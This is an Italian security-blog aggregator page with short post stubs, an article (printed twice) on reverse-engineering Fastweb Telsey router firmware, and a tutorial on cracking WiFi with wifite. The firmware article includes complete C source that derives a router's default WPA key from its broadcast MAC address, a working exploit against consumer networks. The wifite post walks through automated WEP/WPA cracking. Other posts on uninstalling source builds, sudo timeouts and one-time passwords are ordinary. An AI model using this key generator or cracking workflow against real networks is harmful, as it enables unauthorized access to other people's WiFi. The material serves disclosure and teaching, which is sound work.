giu
08

Come configurare una VPN PPTP su Ubuntu 12.04 per accedere in sicurezza ai propri server

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

giu
06

Fuoriuscite 6.5 milioni di hash di password di Linkedin, cambiamo password?

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

dic
16

Google: sicurezza delle app Android

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

lug
04

recensione antivirus: IKARUS virus.utilities

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

giu
22

recensione: Il libro del wireless di John Ross

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

giu
07

recensione: Computer Forensics

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

apr
28

ebook: Sicurezza sul Web di Alessio Leoncini

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

feb
24

Microsoft Security Essential 2

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

feb
12

HowTo: Algoritmo di generazione delle WPA dei router Fastweb

 

Articolo a cura di Giuseppe Ragozzino

Introduzione

In questo articolo parleremo del procedimento che abbiamo usato per scoprire l algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla società Fastweb.

Pre-Analisi del Firmware

Il Firmware è composto tra diversi binari e un file eseguibile, compilato per processori aventi un architettura MIPS32, chiamato key_gen che contiene l istruzioni che portano al calcolo della wpa. L algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-002196XXXXXX o FASTWEB-1-00036FXXXXXX.

Estrazione del Firmware

Per estrarre il firmware del seguente router abbiamo avuto bisogno dell accesso alla console seriale dell apparecchio.

Ciò è stato possibile grazie all estrapolazione di resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. La CPU è una BCM96358 e quindi MIPS32 BigEndian, dettaglio importante per reversare l eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver impostato i parametri di comunicazione, che sono 115200 baud/s, 8data bit e flow control Xon/Xoff, la console è risultata accessibile e abbiamo potuto verificare che il file key_gen si trovasse nella cartella /bin. A questo punto abbiamo effettuato il dump dell intero firmware e diversi altri file che venivano richiamati dall eseguibile key_gen.

Reverse engineering del Firmware e spiegazioni di parte del codice

Una volta avuto l intero Firmware l abbiamo analizzato con il noto programma di decompilazione IDA, e abbiamo scoperto che all interno del file key_gen è pur vero che sono chiamate altre librerie, ma queste non sono necessarie poichè sono solo librerie di runtime, quindi per capire come agiva l algoritmo ci è bastato solo studiare il contenuto di key_gen. Nell algoritmo vengono trattati il MAC Address BSSID dell apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.

Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo dall algoritmo il primo schema di MAC generico è per il seguente primo MAC 11:22:33:44:55:66, cioè 112233445566, quindi lo schema diventa il seguente (sempre considerando che l architettura è MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell ordine della quartina):

66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,
33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633
55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,
55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,
55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,
22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,
22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,
55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.

Ogni vettore dello schema è costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte significativo è il primo per poi proseguire nell elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un blocco alla volta dando come risultato una sequenza di 4 byte espressa in esadecimale che verrà chiamata S1. La funzione hashword è la seguente:


uint32_t hashword(const uint32_t*, /* the key, an array of uint32_t values */
size_t , /* the length of the key, in uint32_ts */
uint32_t); /* the previous hash, or an arbitrary value */

Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest ultimo valore in seguito diventerà il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l intero vettore. In seguito si dovrà ottenere un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.

Fatto ciò l’algoritmo riapplica la funzione hashword al nuovo vettore ottenenedo una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2. Avuto i valori S1 e S2 possiamo ricavare la WPA finale, che si ottiene prendendo le ultime 5 cifre dell S1 e le prime 5 cifre dell S2.

A tal fine possiamo concludere che i router HAG Telsey distribuiti da Fastweb che sembravano invulnerabili, in realtà lo sono. Chi volesse testare la propria sicurezza può compilare il codice seguente, lanciarlo e poi cambiare WPA di corsa!

Codice

Ecco il codice da compilare per effettuare dei test sulla propria rete:

#include <string.h>
#include <sys/param.h>
#ifdef linux
#include <endian.h>
#endif

#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) &&
     __BYTE_ORDER == __LITTLE_ENDIAN) ||
    (defined(i386) || defined(__i386__) || defined(__i486__) ||
     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))
#define L_ENDIAN 1
#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) &&
       __BYTE_ORDER == __BIG_ENDIAN) ||
      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))
#undef L_ENDIAN
#endif

#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))

#define mix(a,b,c)
{
  a -= c;  a ^= rot(c, 4);  c += b;
  b -= a;  b ^= rot(a, 6);  a += c;
  c -= b;  c ^= rot(b, 8);  b += a;
  a -= c;  a ^= rot(c,16);  c += b;
  b -= a;  b ^= rot(a,19);  a += c;
  c -= b;  c ^= rot(b, 4);  b += a;
}

#define final(a,b,c)
{
  c ^= b; c -= rot(b,14);
  a ^= c; a -= rot(c,11);
  b ^= a; b -= rot(a,25);
  c ^= b; c -= rot(b,16);
  a ^= c; a -= rot(c,4);
  b ^= a; b -= rot(a,14);
  c ^= b; c -= rot(b,24);
}

#define DEBUG 1

uint8_t      mac[6];
uint32_t rTable[64];
uint8_t pTable[256] = {
    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,
    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,
    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,
    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,
    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,
    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,
    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,
    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1
};

uint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)
{
    uint32_t a,b,c;
    a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval;
    while (length > 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}
    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}
    return c;
}

void parseMac(char *m)
{
    mac[0] = (uint8_t)(strtoul(m+0,0,16) & 0xff);
    mac[1] = (uint8_t)(strtoul(m+3,0,16) & 0xff);
    mac[2] = (uint8_t)(strtoul(m+6,0,16) & 0xff);
    mac[3] = (uint8_t)(strtoul(m+9,0,16) & 0xff);
    mac[4] = (uint8_t)(strtoul(m+12,0,16) & 0xff);
    mac[5] = (uint8_t)(strtoul(m+15,0,16) & 0xff);
    return;
}

void createTable(void)
{
#ifdef DEBUG
    printf("mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x
",
     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    printf("
permuTable indexes: ");
    uint8_t *p;
    p = pTable;
    while(*p) {
     printf("%x", *p);
     ++p;
    }
    printf("

permuTable values: ");
#endif
    uint8_t i, j;
    memset((void *)&rTable, 0x0, sizeof(rTable));
    for (i = 0; i < 64; i++) {
     for (j = 0; j < 4; j++) {
       #ifdef L_ENDIAN
        rTable[i] <<= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1];
       #else
        rTable[i] >>= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1] << 24;
       #endif
     }
     #ifdef DEBUG
       printf("%#x ", rTable[i]);
     #endif
    }
}

void createWpa(void)
{
    uint8_t i;
    uint32_t s1 = 0, s2 = 0;

    for (i=0;i<64;++i)
     s1 = hashword(rTable,i,s1);

    #ifdef DEBUG
     printf("

s1 hashword is: %x
", s1);
    #endif
    s1 &= 0x000fffff;
    #ifdef DEBUG
     printf("s1 & 0x000fffff is: %x

permuTable2 values: ", s1);
    #endif

    for (i=0;i<64;++i) {
          if (i < 8 ) rTable[i] <<= 3;
     else if (i < 16) rTable[i] >>= 5;
     else if (i < 32) rTable[i] >>= 2;
        else rTable[i] <<= 7;
        #ifdef DEBUG
               printf("%#x ", rTable[i]);
        #endif
    }

    for (i=0;i<64;++i)
       s2 = hashword(rTable,i,s2);

    #ifdef DEBUG
      printf("

s2 hashword is: %x
", s2);
    #endif

     s2 &= 0xfffff000;
     s2 >>= 12;

    #ifdef DEBUG
     printf("s2 & 0xfffff000 is: %x
", s2);
    #endif

    printf("
wpa: %05x%05x

", s1, s2);

    return;
}

int main(int argc, char *argv[])
{
    if (argc < 2) exit(0);
    char *m = argv[1];
    if (strlen(m) != 17) exit(0);

    #ifdef DEBUG
     printf("
FastWEB Telsey WPA Recovery
		-
");
     printf("
Debug mode is ON, printing stuff to stdout

");
    #endif

    parseMac(m);
    createTable();
    createWpa();

    return 0;
}

Oscene.net non si assume alcuna responsabilità per l uso che verrà fatto dell algoritmo presentato, nè dall uso del sorgente che vi propone. Le tecniche e il codice sono presentati  solo a scopo divulgativo.

Fonte: http://wifiresearchers.wordpress.com/2010/09/09/telsey-fastweb-full-disclosure/

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

feb
12

HowTo: Come scardinare un router Fastweb

 

Articolo a cura di Giuseppe Ragozzino

Introduzione

In questo articolo parleremo del procedimento che abbiamo usato per scoprire l algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla società Fastweb.

Pre-Analisi del Firmware

Il Firmware è composto tra diversi binari e un file eseguibile, compilato per processori aventi un architettura MIPS32, chiamato key_gen che contiene l istruzioni che portano al calcolo della wpa. L algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-002196XXXXXX o FASTWEB-1-00036FXXXXXX.

Estrazione del Firmware

Per estrarre il firmware del seguente router abbiamo avuto bisogno dell accesso alla console seriale dell apparecchio.

Ciò è stato possibile grazie all estrapolazione di resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. La CPU è una BCM96358 e quindi MIPS32 BigEndian, dettaglio importante per reversare l eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver impostato i parametri di comunicazione, che sono 115200 baud/s, 8data bit e flow control Xon/Xoff, la console è risultata accessibile e abbiamo potuto verificare che il file key_gen si trovasse nella cartella /bin. A questo punto abbiamo effettuato il dump dell intero firmware e diversi altri file che venivano richiamati dall eseguibile key_gen.

Reverse engineering del Firmware e spiegazioni di parte del codice

Una volta avuto l intero Firmware l abbiamo analizzato con il noto programma di decompilazione IDA, e abbiamo scoperto che all interno del file key_gen è pur vero che sono chiamate altre librerie, ma queste non sono necessarie poichè sono solo librerie di runtime, quindi per capire come agiva l algoritmo ci è bastato solo studiare il contenuto di key_gen. Nell algoritmo vengono trattati il MAC Address BSSID dell apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.

Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo dall algoritmo il primo schema di MAC generico è per il seguente primo MAC 11:22:33:44:55:66, cioè 112233445566, quindi lo schema diventa il seguente (sempre considerando che l architettura è MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell ordine della quartina):

66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,
33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633
55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,
55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,
55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,
22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,
22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,
55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.

Ogni vettore dello schema è costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte significativo è il primo per poi proseguire nell elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un blocco alla volta dando come risultato una sequenza di 4 byte espressa in esadecimale che verrà chiamata S1. La funzione hashword è la seguente:


uint32_t hashword(const uint32_t*, /* the key, an array of uint32_t values */
size_t , /* the length of the key, in uint32_ts */
uint32_t); /* the previous hash, or an arbitrary value */

Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest ultimo valore in seguito diventerà il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l intero vettore. In seguito si dovrà ottenere un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.

Fatto ciò l’algoritmo riapplica la funzione hashword al nuovo vettore ottenenedo una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2. Avuto i valori S1 e S2 possiamo ricavare la WPA finale, che si ottiene prendendo le ultime 5 cifre dell S1 e le prime 5 cifre dell S2.

A tal fine possiamo concludere che i router HAG Telsey distribuiti da Fastweb che sembravano invulnerabili, in realtà lo sono. Chi volesse testare la propria sicurezza può compilare il codice seguente, lanciarlo e poi cambiare WPA di corsa!

Codice

Ecco il codice da compilare per effettuare dei test sulla propria rete:

#include <string.h>
#include <sys/param.h>
#ifdef linux
#include <endian.h>
#endif

#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) &&
     __BYTE_ORDER == __LITTLE_ENDIAN) ||
    (defined(i386) || defined(__i386__) || defined(__i486__) ||
     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))
#define L_ENDIAN 1
#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) &&
       __BYTE_ORDER == __BIG_ENDIAN) ||
      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))
#undef L_ENDIAN
#endif

#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))

#define mix(a,b,c)
{
  a -= c;  a ^= rot(c, 4);  c += b;
  b -= a;  b ^= rot(a, 6);  a += c;
  c -= b;  c ^= rot(b, 8);  b += a;
  a -= c;  a ^= rot(c,16);  c += b;
  b -= a;  b ^= rot(a,19);  a += c;
  c -= b;  c ^= rot(b, 4);  b += a;
}

#define final(a,b,c)
{
  c ^= b; c -= rot(b,14);
  a ^= c; a -= rot(c,11);
  b ^= a; b -= rot(a,25);
  c ^= b; c -= rot(b,16);
  a ^= c; a -= rot(c,4);
  b ^= a; b -= rot(a,14);
  c ^= b; c -= rot(b,24);
}

#define DEBUG 1

uint8_t      mac[6];
uint32_t rTable[64];
uint8_t pTable[256] = {
    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,
    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,
    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,
    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,
    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,
    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,
    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,
    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1
};

uint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)
{
    uint32_t a,b,c;
    a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval;
    while (length > 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}
    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}
    return c;
}

void parseMac(char *m)
{
    mac[0] = (uint8_t)(strtoul(m+0,0,16) & 0xff);
    mac[1] = (uint8_t)(strtoul(m+3,0,16) & 0xff);
    mac[2] = (uint8_t)(strtoul(m+6,0,16) & 0xff);
    mac[3] = (uint8_t)(strtoul(m+9,0,16) & 0xff);
    mac[4] = (uint8_t)(strtoul(m+12,0,16) & 0xff);
    mac[5] = (uint8_t)(strtoul(m+15,0,16) & 0xff);
    return;
}

void createTable(void)
{
#ifdef DEBUG
    printf("mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x
",
     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    printf("
permuTable indexes: ");
    uint8_t *p;
    p = pTable;
    while(*p) {
     printf("%x", *p);
     ++p;
    }
    printf("

permuTable values: ");
#endif
    uint8_t i, j;
    memset((void *)&rTable, 0x0, sizeof(rTable));
    for (i = 0; i < 64; i++) {
     for (j = 0; j < 4; j++) {
       #ifdef L_ENDIAN
        rTable[i] <<= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1];
       #else
        rTable[i] >>= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1] << 24;
       #endif
     }
     #ifdef DEBUG
       printf("%#x ", rTable[i]);
     #endif
    }
}

void createWpa(void)
{
    uint8_t i;
    uint32_t s1 = 0, s2 = 0;

    for (i=0;i<64;++i)
     s1 = hashword(rTable,i,s1);

    #ifdef DEBUG
     printf("

s1 hashword is: %x
", s1);
    #endif
    s1 &= 0x000fffff;
    #ifdef DEBUG
     printf("s1 & 0x000fffff is: %x

permuTable2 values: ", s1);
    #endif

    for (i=0;i<64;++i) {
          if (i < 8 ) rTable[i] <<= 3;
     else if (i < 16) rTable[i] >>= 5;
     else if (i < 32) rTable[i] >>= 2;
        else rTable[i] <<= 7;
        #ifdef DEBUG
               printf("%#x ", rTable[i]);
        #endif
    }

    for (i=0;i<64;++i)
       s2 = hashword(rTable,i,s2);

    #ifdef DEBUG
      printf("

s2 hashword is: %x
", s2);
    #endif

     s2 &= 0xfffff000;
     s2 >>= 12;

    #ifdef DEBUG
     printf("s2 & 0xfffff000 is: %x
", s2);
    #endif

    printf("
wpa: %05x%05x

", s1, s2);

    return;
}

int main(int argc, char *argv[])
{
    if (argc < 2) exit(0);
    char *m = argv[1];
    if (strlen(m) != 17) exit(0);

    #ifdef DEBUG
     printf("
FastWEB Telsey WPA Recovery
		-
");
     printf("
Debug mode is ON, printing stuff to stdout

");
    #endif

    parseMac(m);
    createTable();
    createWpa();

    return 0;
}

Oscene.net non si assume alcuna responsabilità per l uso che verrà fatto dell algoritmo presentato, nè dall uso del sorgente che vi propone. Le tecniche e il codice sono presentati  solo a scopo divulgativo.

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

gen
14

Sicurezza: missione impossibile?

 

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

nov
11

Uninstall programmi installati da sorgenti

 

 

 

Dopo vari esperimenti l'altra sera non riuscivo più a compilare, poichè avevo in precedenza installato da sorgenti alcune cose, che alla fin della fiera mi hanno compromesso il sistema (chiedere a toshidex :) ) perdendo il bandolo della matassa. Comunque il problema lo avevo individuato, ma dopo svariati tentativi andati a vuoto, mi sono stancato ed ho preferito reinstallare. Certo se fosse stato un problema dovuto a qualche aggiornamento giornaliero fatto, il problema lo avrei risolto semplicemente in questo modo. Ma in questo caso avendo installato con make-install, senza quindi nemmeno checkinstall,  addio tracce di tutti i file installati. Quindi questa guida serve soprattutto a me, giusto per ricordarmi che quando faccio qualche test è sempre meglio avere una lista di quello che faccio :) Per tenere traccia dei file ci sono due metodi:

Primo metodo:

# make uninstall

ma trovare un tarball che include questo è quasi come vincere al superenalotto :)

Secondo metodo:

prendere nota di tutti i file installati:

# find /* > pacchetti.prima

a questo punto eseguire il make-install

quindi prendere nota di tutti file dopo l'installazione:

# find /* > pacchetti.dopo

ottenere le differenze tra i due file usando diff:

# diff pacchetti.prima pacchetti.dopo > uninstall

iniziare la rimozione:

# for i in $(grep ">" uninstall | awk '{ print $2 }')

do

/bin/rm -fi $i;

done

a questo punto compariranno a video i file da disinstallare, e basta scrivere yes.

 

enjoy ;)

Share

Related posts:

  1. Rimuovere i pacchetti del giorno     A volte ci si spaventa accorgendosi di avere…
  2. Building Firefox 4 da sorgenti     Avendo un pò di tempo a disposizione mi…
  3. Backup veloce della propria home   Questo è un metodo velocissimo per effettuare un backup…
  4. Script per Gmail     Per scaricare la posta da Gmail io uso…
  5. Reinstallare i medesimi pacchetti   Nel caso si avesse bisogno per vari motivi di…

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

nov
03

Modificare il tempo di memorizzazione della password in Sudo

 

 

Questo è un piccolo trucchetto che serve a modificare il tempo di memorizzazione della password di Sudo. Di default la password viene memorizzata per 15 minuti, ma se volessimo modificare questo tempo dobbiamo rivolgerci a visudo.

 

$ sudo visudo

oppure:

# nano /etc/sudoers

e modificare la stringa:

Defaults        env_reset

con questa:

Defaults        env_reset , timestamp_timeout =X

chiaramente al posto della X mettere il tempo scelto.

Share

Related posts:

  1. Mount partizioni senza password Questo è un piccolo trucco per quelli che come me…
  2. Comando per generare password   Questo è un semplice comando per chi ha bisogno…
  3. 4 modi diversi per generare password   Per generare una password, oltre al comando precedente, esistono…
  4. Colorare il cursore della Shell   Questo post nasce come integrazione a delle mie guide…
  5. Backup veloce della propria home   Questo è un metodo velocissimo per effettuare un backup…

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

ott
28

Cracking facile facile di una rete wifi con Wifite

 

 

 

Wifite è un ottimo strumento per il cracking di reti wifi, in grado di semplificare e velocizzare di molto i parametri da lanciare ad airmon-ng airodump-ng aireplay-ng aircrack-ng. In questo post non mi soffermerò sugli aspetti tecnici e su spiegazioni varie di termini come: chiave wep,wpa,wpa2,ivs,handshake,bruteforce ecc ecc, di spiegazioni e guide sul web se ne trovano in abbondanza. Mi voglio invece soffermare sulla semplicità di utilizzo di Wifite e su quello che è in grado di fare. I punti di forza riguardano la possibilità di cracking di diverse reti in contemporanea, la gestione del monitor mode in maniera automatica,la possibilità di usare un attacco con dizionario, la gestione automatica di tutti i passaggi, dal fake mac address al cracking finale della rete, l'interfaccia grafica e diverse altre opzioni di configurazione. Detto ciò non mi rimane che ricordare, semmai ce ne fosse bisogno, che il cracking senza il consenso del proprietario della rete è illegale,illegale,illegale.

Requisiti:

# apt-get install xterm python-tk macchanger pyrit

più la versione di Aircrack-ng 1.1, e siccome nella  maggior parte dei casi nei repo si trova la versione 1.,0, non ci resta che installarla da sorgenti:

$ wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz

$ tar -zxvf aircrack-ng-1.1.tar.gz

$ cd aircrack-ng-1.1

$ make

$ make install

Scaricare Wifite:

$ wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

$ chmod +x wifite.py

# ./wifite.py

Una volta avviato lo script non ci resta che spuntare le opzioni ed attendere la fine del lavoro, di seguito due immagini di Wifite al lavoro, con relativo cracking di una chiave wep.

nell'immagine sopra si leggono le opzioni scelte, e si è in attesa dello sniffing di eventuali reti.

 

qui sopra invece si vede la riuscita del cracking, sotto il colore rosso c'è il nome della rete attaccata, sotto il giallo invece si nasconde la password trovata. Da notare che la password è stata trovata con circa 15000 ivs. In conclusione questo script secondo me è ottimo, e ti fa risparmiare tempo e terminali aperti.

enjoi :)

Share

Related posts:

  1. Vnstat per monitorare la rete Vnstat è un ottimo tool open source per monitorare la…
  2. Statistiche di sistema con Saidar Saidar è un tool che serve per monitorare il sistema….

Popularity: unranked [?]



Puoi visualizzare il post originale qui.

ott
27

[Speciale sicurezza] OTP : One Time Password

 

Di Leonardi Marzia , Martorana Donatella

Negli ultimi anni, grazie allo sviluppo di nuove tecnologie, le comunicazioni tra uno o più utenti sono sensibilmente migliorate, aumentando però anche il rischio di intercettazioni. Di conseguenza, nelle comunicazioni tra più utenti, è diventato importante riconoscersi e farsi riconoscere dal
sistema, ossia farsi autenticare.
Un sistema di autenticazione basato su OTP fornisce un sicuro strumento di autenticazione che si avvale di un duplice fattore: un dato noto, il codice identificativo dell’utente, ed uno non noto e sempre diverso, la password casuale generata da un dispositivo, il token. Il token può avere una
connessione USB o essere completamente off-line: basterà digitare il codice generato nel computer per accedere alla sessione richiesta.
Il principale vantaggio di un sistema OTP è che l’utente, ovunque si trovi, può accedere alla pagina protetta senza necessità di particolari applicazioni o connessioni. L’autenticazione, in una comunicazione virtuale tra due interlocutori, può essere effettuata verificando che la controparte possieda almeno uno dei seguenti requisiti “di base”, ordinati in base al loro grado di “robustezza”:

1. conoscenza esclusiva di una certa informazione (ciò che l’utente conosce);

2. possesso esclusivo di un oggetto, non necessariamente “fisico” (ciò che l’utente possiede);

3. possesso di una o più caratteristiche fisiche, misurabili con appositi sensori, che lo differenzino da tutti gli altri soggetti (ciò che l’utente è).

E’ possibile distinguere due tipologie d’autenticazione, definite da un uso differente dei requisiti sopra riportati che corrispondono a gradi di robustezza distinti:
· L’autenticazione debole, prevede l’utilizzo di un identificativo utente e di una password che solo l’utente può conoscere in quanto scelta da egli stesso.
· L’autenticazione forte, si basa su meccanismi di autenticazione che garantiscono l’appartenenza di determinate credenziali ad un’entità fisica.

Un esempio è la “Two Factor Authentication”, dove il richiedente (client) ottiene il riconoscimento e l’accesso a determinate risorse solo se presenta certe credenziali costituite da due elementi: un qualcosa che possiede e un qualcosa che si conosce. Un classico esempio di autenticazione forte lo si
può trovare nella fruizione di servizi di online banking, dove non è insolito che, in prima istanza, sia richiesto l’inserimento di un identificativo utente e di una password e, all’atto della conferma di una transazione quale un bonifico, sia richiesto l’inserimento di un codice numerico “usa e getta” ottenibile da un token crittografico o da un’apposita tabella fornita dall’ente bancario.


Popularity: unranked [?]



Puoi visualizzare il post originale qui.

top